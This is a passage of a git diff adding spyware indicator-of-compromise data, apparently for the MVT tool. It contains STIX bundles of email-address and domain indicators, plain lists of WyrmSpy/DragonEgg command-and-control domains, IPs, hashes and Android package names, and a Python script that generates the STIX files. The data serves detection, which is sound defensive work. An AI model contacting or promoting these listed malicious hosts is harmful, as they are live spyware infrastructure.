"malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f75cb4e1-3b69-4c99-940c-e9687f7c1414", + "created": "2023-10-23T15:49:48.12398Z", + "modified": "2023-10-23T15:49:48.12398Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='wheelsordoors@yahoo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.12398Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--698ab14f-973b-4987-ad67-97d9faff9a39", + "created": "2023-10-23T15:49:48.12428Z", + "modified": "2023-10-23T15:49:48.12428Z", + "relationship_type": "indicates", + "source_ref": "indicator--f75cb4e1-3b69-4c99-940c-e9687f7c1414", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad959f7d-5b86-4c0b-b828-02cf6ac01be9", + "created": "2023-10-23T15:49:48.124355Z", + "modified": "2023-10-23T15:49:48.124355Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='superhugger21@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.124355Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8b015ad4-f1a0-4d22-a3bd-3a509499da5e", + "created": "2023-10-23T15:49:48.124597Z", + "modified": "2023-10-23T15:49:48.124597Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad959f7d-5b86-4c0b-b828-02cf6ac01be9", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a677182f-a198-4a3b-be29-af8fcfa79378", + "created": "2023-10-23T15:49:48.12467Z", + "modified": "2023-10-23T15:49:48.12467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='pupperoni1989@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.12467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ffda4ff-b073-460b-b714-37438e5a65ae", + "created": "2023-10-23T15:49:48.124906Z", + "modified": "2023-10-23T15:49:48.124906Z", + "relationship_type": "indicates", + "source_ref": "indicator--a677182f-a198-4a3b-be29-af8fcfa79378", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf5e2108-1f24-472c-a8a5-80fe2f54d6f6", + "created": "2023-10-23T15:49:48.12498Z", + "modified": "2023-10-23T15:49:48.12498Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='biglesterjames5@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.12498Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd149d10-2cf6-4945-8aae-4297093f060f", + "created": "2023-10-23T15:49:48.125216Z", + "modified": "2023-10-23T15:49:48.125216Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf5e2108-1f24-472c-a8a5-80fe2f54d6f6", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3cfc5183-90e8-48da-84e8-6fcf80fd62cd", + "created": "2023-10-23T15:49:48.12529Z", + "modified": "2023-10-23T15:49:48.12529Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='bajablaster101@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.12529Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6fa3e6c4-2993-42a4-aa0f-08c15395e3ef", + "created": "2023-10-23T15:49:48.125527Z", + "modified": "2023-10-23T15:49:48.125527Z", + "relationship_type": "indicates", + "source_ref": "indicator--3cfc5183-90e8-48da-84e8-6fcf80fd62cd", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--87bfd47c-c14a-4b6e-959a-16711843bb99", + "created": "2023-10-23T15:49:48.125601Z", + "modified": "2023-10-23T15:49:48.125601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='chongwonnam@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.125601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3bd7e281-d0e6-4d9f-a172-50b5cc8b8f43", + "created": "2023-10-23T15:49:48.125837Z", + "modified": "2023-10-23T15:49:48.125837Z", + "relationship_type": "indicates", + "source_ref": "indicator--87bfd47c-c14a-4b6e-959a-16711843bb99", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc699203-5369-4e30-81e9-c1acddab3c01", + "created": "2023-10-23T15:49:48.125914Z", + "modified": "2023-10-23T15:49:48.125914Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='maxjar90@mail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.125914Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2694d3d-0e42-43b7-bb31-2ba58a9574e7", + "created": "2023-10-23T15:49:48.126145Z", + "modified": "2023-10-23T15:49:48.126145Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc699203-5369-4e30-81e9-c1acddab3c01", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23aff26d-af5f-4ed1-bcbe-265966907fc5", + "created": "2023-10-23T15:49:48.126216Z", + "modified": "2023-10-23T15:49:48.126216Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='costamaria91@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.126216Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a0fee9b6-d38e-4cdc-9458-e95f4887f4dd", + "created": "2023-10-23T15:49:48.126463Z", + "modified": "2023-10-23T15:49:48.126463Z", + "relationship_type": "indicates", + "source_ref": "indicator--23aff26d-af5f-4ed1-bcbe-265966907fc5", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4423e56f-6877-4a7c-8440-38b8940bb04a", + "created": "2023-10-23T15:49:48.126538Z", + "modified": "2023-10-23T15:49:48.126538Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='stephamartinez122@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.126538Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e480d7b1-2a45-43f6-8ebf-4b6fb0015b25", + "created": "2023-10-23T15:49:48.126784Z", + "modified": "2023-10-23T15:49:48.126784Z", + "relationship_type": "indicates", + "source_ref": "indicator--4423e56f-6877-4a7c-8440-38b8940bb04a", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ace7fea-03ca-42e5-b3c6-c51a4a57e1f1", + "created": "2023-10-23T15:49:48.126858Z", + "modified": "2023-10-23T15:49:48.126858Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='popanddangle@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.126858Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e393b9db-df14-4a3c-8159-a7e6aed31dfc", + "created": "2023-10-23T15:49:48.127161Z", + "modified": "2023-10-23T15:49:48.127161Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ace7fea-03ca-42e5-b3c6-c51a4a57e1f1", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd7305a0-fc76-44bb-8828-c4e3ad0ce3cf", + "created": "2023-10-23T15:49:48.127238Z", + "modified": "2023-10-23T15:49:48.127238Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='nigelmlevy@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.127238Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4063bc83-ced2-442d-b394-67abefe719d0", + "created": "2023-10-23T15:49:48.127472Z", + "modified": "2023-10-23T15:49:48.127472Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd7305a0-fc76-44bb-8828-c4e3ad0ce3cf", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9cd2bc55-c0a2-47e3-a970-7820a860274b", + "created": "2023-10-23T15:49:48.12755Z", + "modified": "2023-10-23T15:49:48.12755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='fsozgur@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.12755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--50eed286-42e9-469f-aad9-418e577e7d76", + "created": "2023-10-23T15:49:48.127793Z", + "modified": "2023-10-23T15:49:48.127793Z", + "relationship_type": "indicates", + "source_ref": "indicator--9cd2bc55-c0a2-47e3-a970-7820a860274b", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0fb6d2a0-3539-4b0c-9362-6bdee824d72a", + "created": "2023-10-23T15:49:48.127869Z", + "modified": "2023-10-23T15:49:48.127869Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='greatoleg9393@mail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.127869Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3c7e17b-26ae-4eb0-bc95-cae88f7e08c9", + "created": "2023-10-23T15:49:48.128106Z", + "modified": "2023-10-23T15:49:48.128106Z", + "relationship_type": "indicates", + "source_ref": "indicator--0fb6d2a0-3539-4b0c-9362-6bdee824d72a", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--37954508-6f16-4778-bba8-635863c3814b", + "created": "2023-10-23T15:49:48.128186Z", + "modified": "2023-10-23T15:49:48.128186Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='trunkfullofbeans@yahoo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.128186Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1468beef-0d66-4274-87bf-1238f037a2f6", + "created": "2023-10-23T15:49:48.128423Z", + "modified": "2023-10-23T15:49:48.128423Z", + "relationship_type": "indicates", + "source_ref": "indicator--37954508-6f16-4778-bba8-635863c3814b", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d02dac9-73f5-42d9-abfb-6690cb08e282", + "created": "2023-10-23T15:49:48.1285Z", + "modified": "2023-10-23T15:49:48.1285Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='soccerchk835@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.1285Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--615d9264-7671-4f76-8e12-ce39475bf42e", + "created": "2023-10-23T15:49:48.128738Z", + "modified": "2023-10-23T15:49:48.128738Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d02dac9-73f5-42d9-abfb-6690cb08e282", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af9d076b-109d-4d1a-b6b6-0651c97da2f8", + "created": "2023-10-23T15:49:48.128813Z", + "modified": "2023-10-23T15:49:48.128813Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='mibarham@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.128813Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--642f8386-f9e5-4413-947d-a3921b63f85f", + "created": "2023-10-23T15:49:48.12905Z", + "modified": "2023-10-23T15:49:48.12905Z", + "relationship_type": "indicates", + "source_ref": "indicator--af9d076b-109d-4d1a-b6b6-0651c97da2f8", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9f84994-de54-40cd-8315-7fd3f287cf65", + "created": "2023-10-23T15:49:48.129124Z", + "modified": "2023-10-23T15:49:48.129124Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='homicidalwombat@yahoo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.129124Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d6a0ad03-f133-4e0c-8acd-d449f8544654", + "created": "2023-10-23T15:49:48.129364Z", + "modified": "2023-10-23T15:49:48.129364Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9f84994-de54-40cd-8315-7fd3f287cf65", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--50e03f6e-c63d-43aa-88ef-c1ba9b591006", + "created": "2023-10-23T15:49:48.129438Z", + "modified": "2023-10-23T15:49:48.129438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='janahodges324@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.129438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f851eb36-acf2-41fa-b974-a4654041f204", + "created": "2023-10-23T15:49:48.129673Z", + "modified": "2023-10-23T15:49:48.129673Z", + "relationship_type": "indicates", + "source_ref": "indicator--50e03f6e-c63d-43aa-88ef-c1ba9b591006", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18fc03af-c26e-4d04-a326-ca954991b396", + "created": "2023-10-23T15:49:48.129746Z", + "modified": "2023-10-23T15:49:48.129746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='supercatman15@hotmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.129746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c04cd95e-20da-4445-ab73-0097a1960870", + "created": "2023-10-23T15:49:48.129982Z", + "modified": "2023-10-23T15:49:48.129982Z", + "relationship_type": "indicates", + "source_ref": "indicator--18fc03af-c26e-4d04-a326-ca954991b396", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ad209c9-5e88-4969-b127-14a039d18a97", + "created": "2023-10-23T15:49:48.130061Z", + "modified": "2023-10-23T15:49:48.130061Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='popcornkerner@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.130061Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a47ca5e5-e841-451e-af3c-2b56768d4c5c", + "created": "2023-10-23T15:49:48.130362Z", + "modified": "2023-10-23T15:49:48.130362Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ad209c9-5e88-4969-b127-14a039d18a97", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6fa1c85a-59ed-45f4-aefc-b03e4b8151af", + "created": "2023-10-23T15:49:48.13044Z", + "modified": "2023-10-23T15:49:48.13044Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='naturelover1972@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.13044Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e5604a51-8808-4cc6-807e-9ff34893f554", + "created": "2023-10-23T15:49:48.130677Z", + "modified": "2023-10-23T15:49:48.130677Z", + "relationship_type": "indicates", + "source_ref": "indicator--6fa1c85a-59ed-45f4-aefc-b03e4b8151af", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e25fd6d-6b15-468d-bd63-c2b290df1644", + "created": "2023-10-23T15:49:48.130752Z", + "modified": "2023-10-23T15:49:48.130752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='norsarall87@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.130752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c2f8ea6-23d1-4519-bfc8-2671b6c611cd", + "created": "2023-10-23T15:49:48.130987Z", + "modified": "2023-10-23T15:49:48.130987Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e25fd6d-6b15-468d-bd63-c2b290df1644", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1ad29a04-66cc-43d2-bf7a-d8234b6185cd", + "created": "2023-10-23T15:49:48.131064Z", + "modified": "2023-10-23T15:49:48.131064Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='danielhbarnes2@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.131064Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42ef57e0-b6b3-4b9b-8ac8-6ca543674b7d", + "created": "2023-10-23T15:49:48.131299Z", + "modified": "2023-10-23T15:49:48.131299Z", + "relationship_type": "indicates", + "source_ref": "indicator--1ad29a04-66cc-43d2-bf7a-d8234b6185cd", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/processes.txt b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/processes.txt new file mode 100644 index 0000000..57e0c7b --- /dev/null +++ b/data/ioc/spyware/mvt/2023-06_01_operation_triangulation/processes.txt @@ -0,0 +1 @@ +BackupAgent \ No newline at end of file diff --git a/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/domains.txt b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/domains.txt new file mode 100644 index 0000000..ba8127b --- /dev/null +++ b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/domains.txt @@ -0,0 +1,7 @@ +dns.win10micros0ft.com +www.andropwn.xyz +update.umisen.com +alxc.tbtianyan.com +yxwasec.com +smiss.imwork.net +huaxin-bantian.duckdns.org diff --git a/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/generate_stix.py b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/generate_stix.py new file mode 100644 index 0000000..9e9f924 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/generate_stix.py @@ -0,0 +1,51 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + malware_name = "WyrmSpy_DragonEgg" + stix_name = "wyrmspy_dragonegg.stix2" + if os.path.isfile(stix_name): + os.remove(stix_name) + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("ip-addresses.txt") as f: + ips = list(set([a.strip() for a in f.read().split()])) + + with open("sha256.txt") as f: + sha256 = list(set([a.strip() for a in f.read().split()])) + + with open("package_names.txt") as f: + package_names = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name=malware_name, is_family=False, description="IOCs related to WyrmSpy and DragonEgg Android spyware documented by Lookout.") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for ip in ips: + i = Indicator(indicator_types=["malicious-activity"], pattern="[ipv4-addr:value='{}']".format(ip), + pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for s in sha256: + i = Indicator(indicator_types=["malicious-activity"], pattern="[file:hashes.sha256='{}']".format(s), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for p in package_names: + i = Indicator(indicator_types=["malicious-activity"], pattern="[app:id='{}']".format(p), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open(stix_name, "w+") as f: + f.write(bundle.serialize(indent=4)) + print("{} file created".format(stix_name)) diff --git a/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/ip-addresses.txt b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/ip-addresses.txt new file mode 100644 index 0000000..964a2b9 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/ip-addresses.txt @@ -0,0 +1,5 @@ +116.205.4.18 +121.42.149.52 +118.193.39.165 +121.201.109.98 +103.43.17.99 diff --git a/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/package_names.txt b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/package_names.txt new file mode 100644 index 0000000..50403d2 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/package_names.txt @@ -0,0 +1,7 @@ +com.android.system.configs.service +com.hx.rootwifi +com.adobe.flash.listen.beta +com.adobe.flash.jni +com.adobe.flash.dex +remote.google.rt.googleservice +xx.an diff --git a/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/sha256.txt b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/sha256.txt new file mode 100644 index 0000000..9d82f96 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/sha256.txt @@ -0,0 +1,34 @@ +b66847d571e471ac78ffa11a82dded5ac6d2f52b25304adbfab90716d22c0905 +6caf068e1c0be245083aa6c3b92bd34909cb57d3d989cf509db18a8be4045fc5 +43193e32872c589785ae720da875e5e20099a5fa36c8aee838034c91986ed34c +4355b4eb3d73b96577194cbd0ff319e0f4ff02d0cabdde8b15e1abd1840e6481 +6b9a540801613a2abd15b5994def2ac4904a896e14e1ab364b032de5b3d1e098 +8bf60e625d628e39320015de654933947b56621d8a4538f9be55c27ffc29a99c +db389366540d43ffa1451fae16e0ab34bf266b9c88aff65d919f474e9430d5d6 +9bcaf637cfeab36e5f4301d4f018f7e6b8e9e30db108e7b7668bdb2250110407 +8c01132a0c1c7799e44608247f93d4680935f36df3fc94d59c7da83afe375ff2 +8d7fd7dcf5f0e144f3e3cc96ebf3ab8789d0d8edaeefa65e0f03dac67c1f046f +82c75b521fd03f6c4074494f0e3c46cc7aa8e5b88c28ebb08401a50109206668 +7a618ac4a0fb2b68df540554ee99aa48caa148b3dd2800777a084a7322efe22f +36d72fedc17be9936f182b38ca98c40a0f9ba44cac170bd63cbded9568452d25 +1d76df42d77080a96f885ed31ab8a83f4f985e071e715fd54297dab398c4be6b +6fc9a0881719ddfd1973f7ce62fa000279fda2ab5a03a4676e15c5e838b8c7ff +af139a04f314ccfb31a1d48ae9a434f26cb5fe1ca173acc479e7dc95a1f90260 +d773c969c1be976410b9d8304fe6c07b142766f7bec2242e0eb5c18d3503eec1 +38e18d79b83e7c0afbe1ac246a7a5fe6b2783adc085e9aeb2ec610e76f5ccaad +92ce9de120ebd88f0126644697e9840489b2c2497e5c99acfa7dd680d98cf075 +c45a82123c985f2fd18e6763b76443ba6c49d12df3d7fe445a19c8fcdc6de846 +4fd5f3c3e4bc4c354d0e4de0bebfdb85e1bab5e5f1ea24ce18b947377a7e2423 +fa4a0aaa6b8f25e8f177ce2e3202c933c2358d4a45d94427dd54df83778a4225 +79028b82a4715160db89bb6ea7d7e2961e0f0e084b8abc21bb4d677ec4cc8d5a +9ba0078a12f7cd515303aefdb151d65a2d3cb1188242e72e3bd9e629dc246582 +017f30bf39d897d1b52c6d035dde5d2578d18d774b39fe76daf67f53d9a08ce9 +b29cddc09cf65b4cda6b3898257f978265478af3ed3217c1be2c3fb729233739 +77504bf799b9a35d493b2363e7665b3dc3b9db32f337f03db1aabe4b3c5a5e05 +2594d654e4e820495392424e52c79d8ea89a8063ebb05bc6cf9f8547605db3a1 +48cd527254084d5e80cd86155a9a23702bdbd586752d27c6e3b6260fa8a86eb4 +79a316353747d11ca0ac00e6cbe1e1ce80061d067d9ff3274be33c40d12ca5de +0bdefeee83c758c45a54b20674208e1fa26a2d47c862abdffd2c39a345379e0a +68494cde4ee344cba80e8651c579418f2ce534018d88745797f030a3115ed19b +9ef830205b7cf0d59d495f722fc61cc3a9f938972e24bae05fa8620b43ed264a +ee90d36b384d92a0c9609eab0a3fe0f2af245c281473b4ff0cdd8caeed34fe97 diff --git a/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/wyrmspy_dragonegg.stix2 b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/wyrmspy_dragonegg.stix2 new file mode 100644 index 0000000..28dd709 --- /dev/null +++ b/data/ioc/spyware/mvt/2023-07-25_wyrmspy_dragonegg/wyrmspy_dragonegg.stix2 @@ -0,0 +1,1288 @@ +{ + "type": "bundle", + "id": "bundle--817384b7-e1dd-45a1-ab3b-bd081d21552f", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--bc220937-1716-44cb-a218-067852839524", + "created": "2023-08-17T12:26:05.596894Z", + "modified": "2023-08-17T12:26:05.596894Z", + "name": "WyrmSpy_DragonEgg", + "description": "IOCs related to WyrmSpy and DragonEgg Android spyware documented by Lookout.", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7490d78f-3a96-446e-b32c-ec52c1ae2246", + "created": "2023-08-17T12:26:05.597269Z", + "modified": "2023-08-17T12:26:05.597269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dns.win10micros0ft.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.597269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c89c3bc-5d94-4b3e-a70a-349dec66b81a", + "created": "2023-08-17T12:26:05.608821Z", + "modified": "2023-08-17T12:26:05.608821Z", + "relationship_type": "indicates", + "source_ref": "indicator--7490d78f-3a96-446e-b32c-ec52c1ae2246", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--508cafe5-7345-4541-802c-2cc80e16a779", + "created": "2023-08-17T12:26:05.609588Z", + "modified": "2023-08-17T12:26:05.609588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='update.umisen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.609588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db3768f1-6ead-46f8-80a4-0c30f6fc3837", + "created": "2023-08-17T12:26:05.611233Z", + "modified": "2023-08-17T12:26:05.611233Z", + "relationship_type": "indicates", + "source_ref": "indicator--508cafe5-7345-4541-802c-2cc80e16a779", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c65ce8cd-0e7b-4dd3-a350-f4d9b294ab35", + "created": "2023-08-17T12:26:05.611658Z", + "modified": "2023-08-17T12:26:05.611658Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alxc.tbtianyan.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.611658Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ab0a389-51c2-49f9-a43f-8a3bc99d6061", + "created": "2023-08-17T12:26:05.61332Z", + "modified": "2023-08-17T12:26:05.61332Z", + "relationship_type": "indicates", + "source_ref": "indicator--c65ce8cd-0e7b-4dd3-a350-f4d9b294ab35", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74d1478a-2aa5-4650-a11c-67e221be2ae7", + "created": "2023-08-17T12:26:05.613616Z", + "modified": "2023-08-17T12:26:05.613616Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yxwasec.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.613616Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cac91613-ea06-4aed-9efd-8868120c55f4", + "created": "2023-08-17T12:26:05.614646Z", + "modified": "2023-08-17T12:26:05.614646Z", + 